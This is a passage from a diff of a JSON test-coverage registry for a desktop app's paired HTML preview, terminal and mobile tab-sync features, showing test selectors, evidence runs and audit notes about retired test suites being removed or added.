         "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/browser/pages/browser-workspace-doc-location.test.ts src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.toolbar.test.tsx src/shared/document-preview/doc-preview-scheme.test.ts",
-        "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/browser/pages/browser-workspace-doc-location.test.ts src/renderer/src/runtime/sync-runtime-graph/sync-runtime-graph-editor-diff-tabs.test.ts src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.toolbar.test.tsx",
+        "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/browser/pages/browser-workspace-doc-location.test.ts src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.toolbar.test.tsx",
         "pnpm exec vitest run --config config/vitest.config.ts src/main/browser/document-preview/doc-preview-guest-policy.test.ts",
-        "pnpm exec vitest run --config config/vitest.config.ts src/main/browser/guest-lifecycle/manager/viewport/browser-manager-annotation-bridge.test.ts src/shared/document-preview/doc-preview-scheme.test.ts src/renderer/src/components/browser-pane/workspace-doc/doc-preview-document-actions.test.ts src/renderer/src/components/browser-pane/workspace-doc/use-doc-preview-guest-tools.test.ts src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.toolbar.test.tsx",
-        "pnpm exec vitest run --config config/vitest.config.ts src/main/browser/guest-lifecycle/manager/viewport/browser-manager-annotation-bridge.test.ts src/main/browser/backends/offscreen-browser-backend-lifecycle.test.ts src/main/browser/document-preview/doc-preview-guest-policy.test.ts src/shared/document-preview/doc-preview-scheme.test.ts src/renderer/src/components/browser-pane/workspace-doc/doc-preview-document-actions.test.ts src/renderer/src/components/browser-pane/workspace-doc/use-doc-preview-guest-tools.test.ts src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.toolbar.test.tsx",
-        "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/link-actions/LinkActionPopover.test.tsx src/renderer/src/runtime/sync-runtime-graph/sync-runtime-graph-editor-diff-tabs.test.ts",
+        "pnpm exec vitest run --config config/vitest.config.ts src/main/browser/guest-lifecycle/manager/viewport/browser-manager-annotation-bridge.test.ts src/shared/document-preview/doc-preview-scheme.test.ts src/renderer/src/components/browser-pane/workspace-doc/use-doc-preview-guest-tools.test.ts src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.toolbar.test.tsx",
+        "pnpm exec vitest run --config config/vitest.config.ts src/main/browser/guest-lifecycle/manager/viewport/browser-manager-annotation-bridge.test.ts src/main/browser/backends/offscreen-browser-backend-lifecycle.test.ts src/main/browser/document-preview/doc-preview-guest-policy.test.ts src/shared/document-preview/doc-preview-scheme.test.ts src/renderer/src/components/browser-pane/workspace-doc/use-doc-preview-guest-tools.test.ts src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.toolbar.test.tsx",
+        "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/link-actions/LinkActionPopover.test.tsx",
         "pnpm exec vitest run --config config/vitest.config.ts src/main/browser/guest-lifecycle/manager/viewport/browser-manager-annotation-bridge.test.ts src/main/browser/backends/offscreen-browser-backend-lifecycle.test.ts src/main/browser/document-preview/doc-preview-guest-policy.test.ts src/shared/document-preview/doc-preview-scheme.test.ts src/renderer/src/components/browser-pane/workspace-doc/use-doc-preview-guest-tools.test.ts src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.toolbar.test.tsx",
         "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/browser/pages/browser-page-conversion.test.ts src/renderer/src/runtime/sync-runtime-graph/sync-runtime-graph-conversion-publish.test.ts src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.toolbar.test.tsx",
         "SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-preview-address-bar-convergence.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=list",
@@ -4473,22 +4398,19 @@
         "src/renderer/src/store/slices/browser/pages/browser-workspace-doc-location.test.ts",
         "src/main/browser/guest-lifecycle/manager/viewport/browser-manager-annotation-bridge.test.ts",
         "src/main/browser/backends/offscreen-browser-backend-lifecycle.test.ts",
-        "src/renderer/src/components/browser-pane/workspace-doc/doc-preview-document-actions.test.ts",
         "src/renderer/src/components/browser-pane/workspace-doc/use-doc-preview-guest-tools.test.ts",
         "src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.toolbar.test.tsx",
         "src/shared/document-preview/doc-preview-scheme.test.ts",
         "src/renderer/src/lib/browser/documents/doc-preview-grants.test.ts",
         "src/renderer/src/components/browser-pane/workspace-doc/doc-preview-external-link-confirmation.test.ts",
         "src/renderer/src/components/link-actions/LinkActionPopover.test.tsx",
-        "src/renderer/src/runtime/sync-runtime-graph/sync-runtime-graph-editor-diff-tabs.test.ts",
         "src/renderer/src/store/slices/browser/pages/browser-page-conversion.test.ts",
         "src/renderer/src/runtime/sync-runtime-graph/sync-runtime-graph-conversion-publish.test.ts",
         "tests/e2e/paired-remote-html-preview-local-render.spec.ts",
         "tests/e2e/paired-preview-address-bar-convergence.spec.ts",
         "tests/e2e/paired-browser-create-navigation-deadline.spec.ts",
         "tests/e2e/paired-browser-creation-reconciliation-failure.spec.ts",
-        "src/renderer/src/runtime/web-session-tabs-sync/navigation/web-session-tabs-sync-focus-intent.test.ts",
-        "src/renderer/src/runtime/web-session-tabs-sync/placement/web-session-tabs-sync-browser-tabs.test.ts"
+        "src/renderer/src/runtime/web-session-tabs-sync/navigation/web-session-tabs-sync-focus-intent.test.ts"
       ],
       "assertionRefs": [
         {
@@ -4555,12 +4477,6 @@
             "a document navigation report leaves its URL blank, its title standing and nothing loading; its session excludes preview URLs"
           ]
         },
-        {
-          "file": "src/renderer/src/runtime/sync-runtime-graph/sync-runtime-graph-editor-diff-tabs.test.ts",
-          "assertions": [
-            "keeps a workspace document out of published tab groups as well as the tab list"
-          ]
-        },
         {
           "file": "src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.toolbar.test.tsx",
           "assertions": [
@@ -4584,13 +4500,6 @@
             "headed and headless hosts preserve the unrelated editor and terminal without local fallback"
           ]
         },
-        {
-          "file": "src/renderer/src/runtime/web-session-tabs-sync/placement/web-session-tabs-sync-browser-tabs.test.ts",
-          "assertions": [
-            "replays a pre-response browser snapshot after canonical placement and focus are known",
-            "reuses a local browser workspace that already points at the host page"
-          ]
-        },
         {
           "file": "src/renderer/src/runtime/web-session-tabs-sync/navigation/web-session-tabs-sync-focus-intent.test.ts",
           "assertions": [
@@ -4600,66 +4509,6 @@
         }
       ],
       "evidenceRuns": [
-        {
-          "date": "2026-08-27",
-          "runner": "local",
-          "platform": "macos",
-          "command": "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/browser-workspace-doc-location.test.ts src/renderer/src/runtime/sync-runtime-graph-editor-diff-tabs.test.ts src/renderer/src/components/browser-pane/workspace-doc/workspace-doc-page-pane.test.tsx src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.toolbar.test.tsx",
-          "currentCommand": "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/browser/pages/browser-workspace-doc-location.test.ts src/renderer/src/runtime/sync-runtime-graph/sync-runtime-graph-editor-diff-tabs.test.ts src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.toolbar.test.tsx",
-          "result": "failed",
-          "durationSeconds": 7,
-          "summary": "The adversarial pass answered the request for its own group-projection probe after this round landed, and it had measured a third observable this test was missing: the held-back group also has to leave the published layout tree, or the phone renders a split whose second pane can never hold anything. Adopted as a fourth assertion and re-run against the same sole delta, which now fails on the dangling-reference check and, with that check blinded, on the layout alone — group-left and group-right against the group-right the clean tree publishes. The two probes agreed on everything else, including that the tab list is unchanged under this mutant, which is why an assertion reading only the tab list cannot reach the site at all."
-        },
-        {
-          "date": "2026-08-27",
-          "runner": "local",
-          "platform": "macos",
-          "command": "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/browser-workspace-doc-location.test.ts src/renderer/src/runtime/sync-runtime-graph-editor-diff-tabs.test.ts src/renderer/src/components/browser-pane/workspace-doc/workspace-doc-page-pane.test.tsx src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.toolbar.test.tsx",
-          "currentCommand": "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/browser/pages/browser-workspace-doc-location.test.ts src/renderer/src/runtime/sync-runtime-graph/sync-runtime-graph-editor-diff-tabs.test.ts src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.toolbar.test.tsx",
-          "result": "passed",
-          "durationSeconds": 3,
-          "summary": "The adversarial pass's four coverage findings, landed and pinned: 58/58. The third url door now keeps a document page blank and names it by its document, the group projection holds a document back from published groups as well as from the tab list, the pane's focus handoff is pinned in the widening direction as well as the narrowing one, and the handoff is re-offered when the window takes focus back."
-        },
-        {
-          "date": "2026-08-27",
-          "runner": "local",
-          "platform": "macos",
-          "command": "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/browser-workspace-doc-location.test.ts src/renderer/src/runtime/sync-runtime-graph-editor-diff-tabs.test.ts src/renderer/src/components/browser-pane/workspace-doc/workspace-doc-page-pane.test.tsx src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.toolbar.test.tsx",
-          "currentCommand": "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/browser/pages/browser-workspace-doc-location.test.ts src/renderer/src/runtime/sync-runtime-graph/sync-runtime-graph-editor-diff-tabs.test.ts src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.toolbar.test.tsx",
-          "result": "failed",
-          "durationSeconds": 3,
-          "summary": "Three sole-delta mutants on the third url door, each failing only the new store test: committing the reported url onto a document page, dropping the document from the title normalizer there (which renames the tab New Tab, since a blank url is what that fallback reads), and marking a blank document page loading. The ordinary-page half of the same test passes under all three, so the door is pinned as a document-only refusal rather than as a door that writes nothing."
-        },
-        {
-          "date": "2026-08-27",
-          "runner": "local",
-          "platform": "macos",
-          "command": "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/browser-workspace-doc-location.test.ts src/renderer/src/runtime/sync-runtime-graph-editor-diff-tabs.test.ts src/renderer/src/components/browser-pane/workspace-doc/workspace-doc-page-pane.test.tsx src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.toolbar.test.tsx",
-          "currentCommand": "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/browser/pages/browser-workspace-doc-location.test.ts src/renderer/src/runtime/sync-runtime-graph/sync-runtime-graph-editor-diff-tabs.test.ts src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.toolbar.test.tsx",
-          "result": "failed",
-          "durationSeconds": 3,
-          "summary": "Two sole-delta mutants on the mobile publish boundary. Dropping the document from the group projection's browser ids fails only the new grouped test — the tab list stays correct because the per-tab guard still refuses the tab, and what breaks is a published group whose order and active tab name a tab the phone is never sent. This is the survivor the adversarial pass reported: it survives the whole suite without this test, because no other test in it has tab groups. Dropping the per-tab guard instead fails only the ungrouped test, so the two halves of the boundary are pinned separately."
-        },
-        {
-          "date": "2026-08-27",
-          "runner": "local",
-          "platform": "macos",
-          "command": "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/browser-workspace-doc-location.test.ts src/renderer/src/runtime/sync-runtime-graph-editor-diff-tabs.test.ts src/renderer/src/components/browser-pane/workspace-doc/workspace-doc-page-pane.test.tsx src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.toolbar.test.tsx",
-          "currentCommand": "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/browser/pages/browser-workspace-doc-location.test.ts src/renderer/src/runtime/sync-runtime-graph/sync-runtime-graph-editor-diff-tabs.test.ts src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.toolbar.test.tsx",
-          "result": "failed",
-          "durationSeconds": 3,
-          "summary": "Three sole-delta mutants widening the focus handoff, the direction the adversarial pass found uncovered: dropping the page-activity half, dropping the active-tab-type half, and dropping the active-browser-tab half each fail exactly one of the pane's refusals — the inactive page, the terminal in front, and the other browser tab respectively. The presence half of that test passes under all three, so a pane that had stopped offering focus at all would still fail rather than pass the refusals vacuously."
-        },
-        {
-          "date": "2026-08-27",
-          "runner": "local",
-          "platform": "macos",
-          "command": "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/browser-workspace-doc-location.test.ts src/renderer/src/runtime/sync-runtime-graph-editor-diff-tabs.test.ts src/renderer/src/components/browser-pane/workspace-doc/workspace-doc-page-pane.test.tsx src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.toolbar.test.tsx",
-          "currentCommand": "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/browser/pages/browser-workspace-doc-location.test.ts src/renderer/src/runtime/sync-runtime-graph/sync-runtime-graph-editor-diff-tabs.test.ts src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.toolbar.test.tsx",
-          "result": "failed",
-          "durationSeconds": 3,
-          "summary": "One sole-delta mutant dropping the window-focus re-offer: the guest is focused once at mount and never again after the window comes back, which is the desktop gap behind it — another app taking the front leaves the preview's only route out shut until the pane remounts. It fails only the new re-offer test, and the refusing-preview case beside it stays green, so the re-offer is pinned as gated rather than unconditional."
-        },
         {
           "date": "2026-08-27",
           "runner": "local",
@@ -4937,7 +4786,21 @@
         "D01 final candidate whole-registration policy removes retired module selectors and obsolete assertion descriptions prospectively. Existing unaffected receipts retain their original scope; reduced selectors have no new execution or equivalent replacement claim. Retired named modules: [\"src/preload/doc-preview-link-interception.test.ts\",\"src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.failure-message.test.tsx\"]. Retired compound assertion refs, preserved as historical data: [{\"file\":\"src/renderer/src/components/browser-pane/workspace-doc/doc-preview-external-link-confirmation.test.ts\",\"assertions\":[\"an external preview link shows the reader its exact destination and becomes a browser tab only after confirmation\",\"a declined confirmation opens nothing, and a confirmed tab that is refused or fails outright surfaces instead of being dropped\"]}]",
         "Audit2452 removes the whole fake-effect browser-close routing suite. Active selectors and assertion references no longer select it. Its requested-worktree default close, sibling-page close and explicit missing-page typed reply alarms are intentionally retired without equivalent replacement. Prior dated receipts remain unchanged and scoped to their original sources; no fresh execution of the reduced gate, rendered browser, live remote, mobile or cross-platform validation is claimed. Retired assertion reference: {\"file\":\"src/renderer/src/hooks/useIpcEvents-close-routing-browser-pages.test.ts\",\"assertions\":[\"closing an absent renderer page returns browser_tab_not_found instead of an untyped failure\"]}",
         "Audit3108: doc-preview-grants.test.ts now retains only the stale grant-rejection race: a late rejected grant request must not evict a newer grant registry entry, witnessed by later revocation of grant-2. Retire stable minted-location and outside-workspace POSIX/Windows request-projection alarms without replacement. The direct nonempty grant selector remains unchanged; no real grant-server/file authorization, SSH/HTML delivery or native-focus result is claimed.",
-        "File/document owner layout retires the complete workspace-doc-address-input unit suite because its sole mixed case asserts internal catalog-enumeration work. The current-workspace HTML-resolution alarm is lost; no equivalent replacement coverage or pass for the reduced unit selector is claimed. Historical receipts and all remaining selectors/assertions retain their original scope."
+        "File/document owner layout retires the complete workspace-doc-address-input unit suite because its sole mixed case asserts internal catalog-enumeration work. The current-workspace HTML-resolution alarm is lost; no equivalent replacement coverage or pass for the reduced unit selector is claimed. Historical receipts and all remaining selectors/assertions retain their original scope.",
+        "Module-layout wave2 intentionally retires complete prohibited owning registrations in src/renderer/src/components/browser-pane/workspace-doc/doc-preview-document-actions.test.ts. Lost alarms: A resolved remote file owner taking precedence over an unresolved workspace owner would lose its routing alarm. A project published on two hosts refusing to open an ambiguous local copy would lose its refusal alarm. An unresolved document refusing both local open and remote download, and including its path in the refusal, would lose the existing alarm. An unknown workspace root preventing an accidental local document open would lose its guard alarm. A restored document using its recorded runtime owner when the worktree resolves none would lose its existing fallback alarm. A restored tab without a recorded owner consulting the resolved worktree owner would lose its existing fallback alarm. No equivalent replacement coverage or reduced-selector pass is claimed.",
+        "Audit 3301 removes the caller-chat-target precedence over host selection example from web-session-tabs-sync-focus-intent.test.ts. The snapshot-before-RPC replay and split-sibling-first exact-leaf focus cases remain unchanged and match the existing assertion reference. Preserve current selectors, assertion references, unrelated active receipts and complete archived history. These mocked state-composition survivors provide no equivalent replacement, rendered, native, network or fresh execution proof.",
+        "Audit3335 retires the complete three-case browser-tabs snapshot assembly suite: canonical snapshot replay/placement/focus, local host-page adoption and unstamped host echo leaving a local page untouched alarms are intentionally lost without equivalent replacement. The surviving focused selector is unexecuted in this source composition. Unrelated dated receipts keep their original scope; no fresh runtime/network, rendered UI, mobile, mixed-version or cross-platform validation is claimed.",
+        "Audit3342 retires the complete mobile editor/diff tab-publication projection suite: editor/diff serialization, workspace-document privacy withholding, pending/focus and capability/options projections are intentionally lost without equivalent replacement. The surviving focused selectors are unexecuted in this source composition. Six complete compound macOS receipts whose command fields select the changed source are retired verbatim as history; their other selected tests receive no promoted evidence. Other dated receipts keep their original scope; no fresh runtime/UI/mobile/mixed-version or cross-platform validation is claimed.",
+        "Audit3342 historical original commands object, preserved verbatim; retired objects are not active evidence or replacement coverage:\n\"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/browser/pages/browser-workspace-doc-location.test.ts src/renderer/src/runtime/sync-runtime-graph/sync-runtime-graph-editor-diff-tabs.test.ts src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.toolbar.test.tsx\"",
+        "Audit3342 historical original commands object, preserved verbatim; retired objects are not active evidence or replacement coverage:\n\"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/link-actions/LinkActionPopover.test.tsx src/renderer/src/runtime/sync-runtime-graph/sync-runtime-graph-editor-diff-tabs.test.ts\"",
+        "Audit3342 historical original testFiles object, preserved verbatim; retired objects are not active evidence or replacement coverage:\n\"src/renderer/src/runtime/sync-runtime-graph/sync-runtime-graph-editor-diff-tabs.test.ts\"",
+        "Audit3342 historical original assertionRefs object, preserved verbatim; retired objects are not active evidence or replacement coverage:\n{\n          \"file\": \"src/renderer/src/runtime/sync-runtime-graph/sync-runtime-graph-editor-diff-tabs.test.ts\",\n          \"assertions\": [\n            \"keeps a workspace document out of published tab groups as well as the tab list\"\n          ]\n        }",
+        "Audit3342 historical original evidenceRuns object, preserved verbatim; retired objects are not active evidence or replacement coverage:\n{\n          \"date\": \"2026-08-27\",\n          \"runner\": \"local\",\n          \"platform\": \"macos\",\n          \"command\": \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/browser-workspace-doc-location.test.ts src/renderer/src/runtime/sync-runtime-graph-editor-diff-tabs.test.ts src/renderer/src/components/browser-pane/workspace-doc/workspace-doc-page-pane.test.tsx src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.toolbar.test.tsx\",\n          \"currentCommand\": \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/browser/pages/browser-workspace-doc-location.test.ts src/renderer/src/runtime/sync-runtime-graph/sync-runtime-graph-editor-diff-tabs.test.ts src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.toolbar.test.tsx\",\n          \"result\": \"failed\",\n          \"durationSeconds\": 7,\n          \"summary\": \"The adversarial pass answered the request for its own group-projection probe after this round landed, and it had measured a third observable this test was missing: the held-back group also has to leave the published layout tree, or the phone renders a split whose second pane can never hold anything. Adopted as a fourth assertion and re-run against the same sole delta, which now fails on the dangling-reference check and, with that check blinded, on the layout alone — group-left and group-right against the group-right the clean tree publishes. The two probes agreed on everything else, including that the tab list is unchanged under this mutant, which is why an assertion reading only the tab list cannot reach the site at all.\"\n        }",
+        "Audit3342 historical original evidenceRuns object, preserved verbatim; retired objects are not active evidence or replacement coverage:\n{\n          \"date\": \"2026-08-27\",\n          \"runner\": \"local\",\n          \"platform\": \"macos\",\n          \"command\": \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/browser-workspace-doc-location.test.ts src/renderer/src/runtime/sync-runtime-graph-editor-diff-tabs.test.ts src/renderer/src/components/browser-pane/workspace-doc/workspace-doc-page-pane.test.tsx src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.toolbar.test.tsx\",\n          \"currentCommand\": \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/browser/pages/browser-workspace-doc-location.test.ts src/renderer/src/runtime/sync-runtime-graph/sync-runtime-graph-editor-diff-tabs.test.ts src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.toolbar.test.tsx\",\n          \"result\": \"passed\",\n          \"durationSeconds\": 3,\n          \"summary\": \"The adversarial pass's four coverage findings, landed and pinned: 58/58. The third url door now keeps a document page blank and names it by its document, the group projection holds a document back from published groups as well as from the tab list, the pane's focus handoff is pinned in the widening direction as well as the narrowing one, and the handoff is re-offered when the window takes focus back.\"\n        }",
+        "Audit3342 historical original evidenceRuns object, preserved verbatim; retired objects are not active evidence or replacement coverage:\n{\n          \"date\": \"2026-08-27\",\n          \"runner\": \"local\",\n          \"platform\": \"macos\",\n          \"command\": \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/browser-workspace-doc-location.test.ts src/renderer/src/runtime/sync-runtime-graph-editor-diff-tabs.test.ts src/renderer/src/components/browser-pane/workspace-doc/workspace-doc-page-pane.test.tsx src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.toolbar.test.tsx\",\n          \"currentCommand\": \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/browser/pages/browser-workspace-doc-location.test.ts src/renderer/src/runtime/sync-runtime-graph/sync-runtime-graph-editor-diff-tabs.test.ts src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.toolbar.test.tsx\",\n          \"result\": \"failed\",\n          \"durationSeconds\": 3,\n          \"summary\": \"Three sole-delta mutants on the third url door, each failing only the new store test: committing the reported url onto a document page, dropping the document from the title normalizer there (which renames the tab New Tab, since a blank url is what that fallback reads), and marking a blank document page loading. The ordinary-page half of the same test passes under all three, so the door is pinned as a document-only refusal rather than as a door that writes nothing.\"\n        }",
+        "Audit3342 historical original evidenceRuns object, preserved verbatim; retired objects are not active evidence or replacement coverage:\n{\n          \"date\": \"2026-08-27\",\n          \"runner\": \"local\",\n          \"platform\": \"macos\",\n          \"command\": \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/browser-workspace-doc-location.test.ts src/renderer/src/runtime/sync-runtime-graph-editor-diff-tabs.test.ts src/renderer/src/components/browser-pane/workspace-doc/workspace-doc-page-pane.test.tsx src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.toolbar.test.tsx\",\n          \"currentCommand\": \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/browser/pages/browser-workspace-doc-location.test.ts src/renderer/src/runtime/sync-runtime-graph/sync-runtime-graph-editor-diff-tabs.test.ts src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.toolbar.test.tsx\",\n          \"result\": \"failed\",\n          \"durationSeconds\": 3,\n          \"summary\": \"Two sole-delta mutants on the mobile publish boundary. Dropping the document from the group projection's browser ids fails only the new grouped test — the tab list stays correct because the per-tab guard still refuses the tab, and what breaks is a published group whose order and active tab name a tab the phone is never sent. This is the survivor the adversarial pass reported: it survives the whole suite without this test, because no other test in it has tab groups. Dropping the per-tab guard instead fails only the ungrouped test, so the two halves of the boundary are pinned separately.\"\n        }",
+        "Audit3342 historical original evidenceRuns object, preserved verbatim; retired objects are not active evidence or replacement coverage:\n{\n          \"date\": \"2026-08-27\",\n          \"runner\": \"local\",\n          \"platform\": \"macos\",\n          \"command\": \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/browser-workspace-doc-location.test.ts src/renderer/src/runtime/sync-runtime-graph-editor-diff-tabs.test.ts src/renderer/src/components/browser-pane/workspace-doc/workspace-doc-page-pane.test.tsx src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.toolbar.test.tsx\",\n          \"currentCommand\": \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/browser/pages/browser-workspace-doc-location.test.ts src/renderer/src/runtime/sync-runtime-graph/sync-runtime-graph-editor-diff-tabs.test.ts src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.toolbar.test.tsx\",\n          \"result\": \"failed\",\n          \"durationSeconds\": 3,\n          \"summary\": \"Three sole-delta mutants widening the focus handoff, the direction the adversarial pass found uncovered: dropping the page-activity half, dropping the active-tab-type half, and dropping the active-browser-tab half each fail exactly one of the pane's refusals — the inactive page, the terminal in front, and the other browser tab respectively. The presence half of that test passes under all three, so a pane that had stopped offering focus at all would still fail rather than pass the refusals vacuously.\"\n        }",
+        "Audit3342 historical original evidenceRuns object, preserved verbatim; retired objects are not active evidence or replacement coverage:\n{\n          \"date\": \"2026-08-27\",\n          \"runner\": \"local\",\n          \"platform\": \"macos\",\n          \"command\": \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/browser-workspace-doc-location.test.ts src/renderer/src/runtime/sync-runtime-graph-editor-diff-tabs.test.ts src/renderer/src/components/browser-pane/workspace-doc/workspace-doc-page-pane.test.tsx src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.toolbar.test.tsx\",\n          \"currentCommand\": \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/browser/pages/browser-workspace-doc-location.test.ts src/renderer/src/runtime/sync-runtime-graph/sync-runtime-graph-editor-diff-tabs.test.ts src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.toolbar.test.tsx\",\n          \"result\": \"failed\",\n          \"durationSeconds\": 3,\n          \"summary\": \"One sole-delta mutant dropping the window-focus re-offer: the guest is focused once at mount and never again after the window comes back, which is the desktop gap behind it — another app taking the front leaves the preview's only route out shut until the pane remounts. It fails only the new re-offer test, and the refusing-preview case beside it stays green, so the re-offer is pinned as gated rather than unconditional.\"\n        }"
       ],
       "demotionRule": "Demote if a paired HTML preview creates a browser workspace on either side, renders from anything other than the orca-preview scheme, serves a read the host reported as truncated or over-cap, serves a document without the self-only content security policy, lets the preview session carry an off-machine request, reads an SSH path that canonicalizes outside its grant root, steals focus from the source editor when it opens, removes unrelated editor or terminal state on close, hides a document that rendered because one subresource was refused, leaves a grant readable after the tab or renderer that owns it is gone, mints one for a sender that is not the trusted renderer, opens a browser tab for a navigation the document started with no one at the keyboard, or lets the guest gather an ICE candidate; or if a paired browser creation this gate still owns produces duplicate client or host identities or loses its requested split."
     },
@@ -6067,6 +5930,9 @@
         "Keep missing-proof mixed-version behavior identical to the incumbent client path."
       ],
       "knownGaps": [
+        "NEXT65 current scope qualification: The NEXT65 knownGaps entries below govern the changed selectors and qualify any broader coverage implication in this gate’s unchanged oracle/coverageNotes narratives. Those narratives and preserved dated evidenceRuns retain their historical text and original exact execution scopes only; no fresh execution, transferred pass or equivalent replacement coverage is claimed. Upstream case removals remain upstream; original NEXT65 proposal descriptions grant no duplicate retirement credit.",
+        "NEXT65 active selector scope reduction (including directory-selected whole-file retirements): src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts, src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-input-and-repaint.test.ts, src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-visibility-and-exit.test.ts. Remove complete registrations or registrar files within the selected scope for src/renderer/src/components/terminal-pane/pty-connection/reattach/pty-connection-daemon-snapshot-replay.spec.ts, src/renderer/src/components/terminal-pane/pty-connection/emulation/pty-connection-mode-2031-subscriptions.spec.ts, src/renderer/src/components/terminal-pane/pty-connection/geometry/pty-connection-visibility-resume-size.spec.ts, src/renderer/src/components/terminal-pane/pty-connection/reattach/pty-connection-stale-daemon-snapshot-replay.spec.ts. Intentionally lose these named regression alarms without replacement: catches a subscribed pane up once per mode change across repeated reconnects — Mode2031 theme reporting catch-up/deduplication across repeated reconnects loses this direct protocol example.; defers to the viewer holding the grid, then catches up once on release — Held-grid viewer deferral and one catch-up/current-mode resending on release lose this direct protocol example.; repairs grid drift with a trailing probe when output stops inside the settled interval — A trailing drift probe after the last output frame loses this direct alarm.; skips foreground grid drift repair while mobile owns the PTY without a fit override — Mobile driver ownership suppressing foreground drift repair without override loses this direct alarm.; reports desktop geometry without resizing while a mobile-fit override is active — Desktop geometry reporting without resizing a mobile-owned grid loses this direct alarm.; defers a remote-desktop viewport claim until structural replay completes — Remote-desktop viewport claim waiting for structural replay completion loses this direct alarm.; skips observed desktop reassertion while mobile owns the PTY without a fit override — Observed desktop reassertion suppression under mobile ownership loses this direct alarm.; queues re-asserted resizes while pane resize holds are active — Resize hold release flushing the latest reasserted grid loses this direct alarm.; reasserts a remote grid only when visible (%s) — Visible-only remote grid reassertion loses its visible and hidden examples.; claims a focused visible remote mirror once when its passive fit hold arrives — Focused visible passive mirror claiming once, with unfocused and late repeat suppression, loses this direct sequence alarm.; does NOT re-assert while a mobile-fit override parks the PTY at phone dims — Phone fit hold suppressing visibility-resume PTY reassertion loses this direct alarm.; does NOT forward when the pane is hidden again before getSize resolves (stale hop) — Late size lookup after re-hide refusing a hidden-tab SIGWINCH loses this direct adverse-ordering alarm.; clears the captured pen for a normal-buffer fallback reattach — Fallback normal-buffer reattach clearing captured pen and dirty background loses this direct example.; waits for a recovered destination fit before forwarding its grid or live output — Recovered destination fitting before forwarding grid or live output loses this direct example.; suppresses the deferred reattach grid push when mobile claims the PTY while hidden — Mobile takeover while hidden suppressing deferred reattach grid forwarding loses this direct example.; drops stale callbacks but delivers fresh replacement output after an old replay clear — Fresh replacement output winning over stale callbacks after old replay clear loses this direct example.. Surviving parent statements and sibling registrations are preserved, but these reduced parent selectors have no fresh execution or 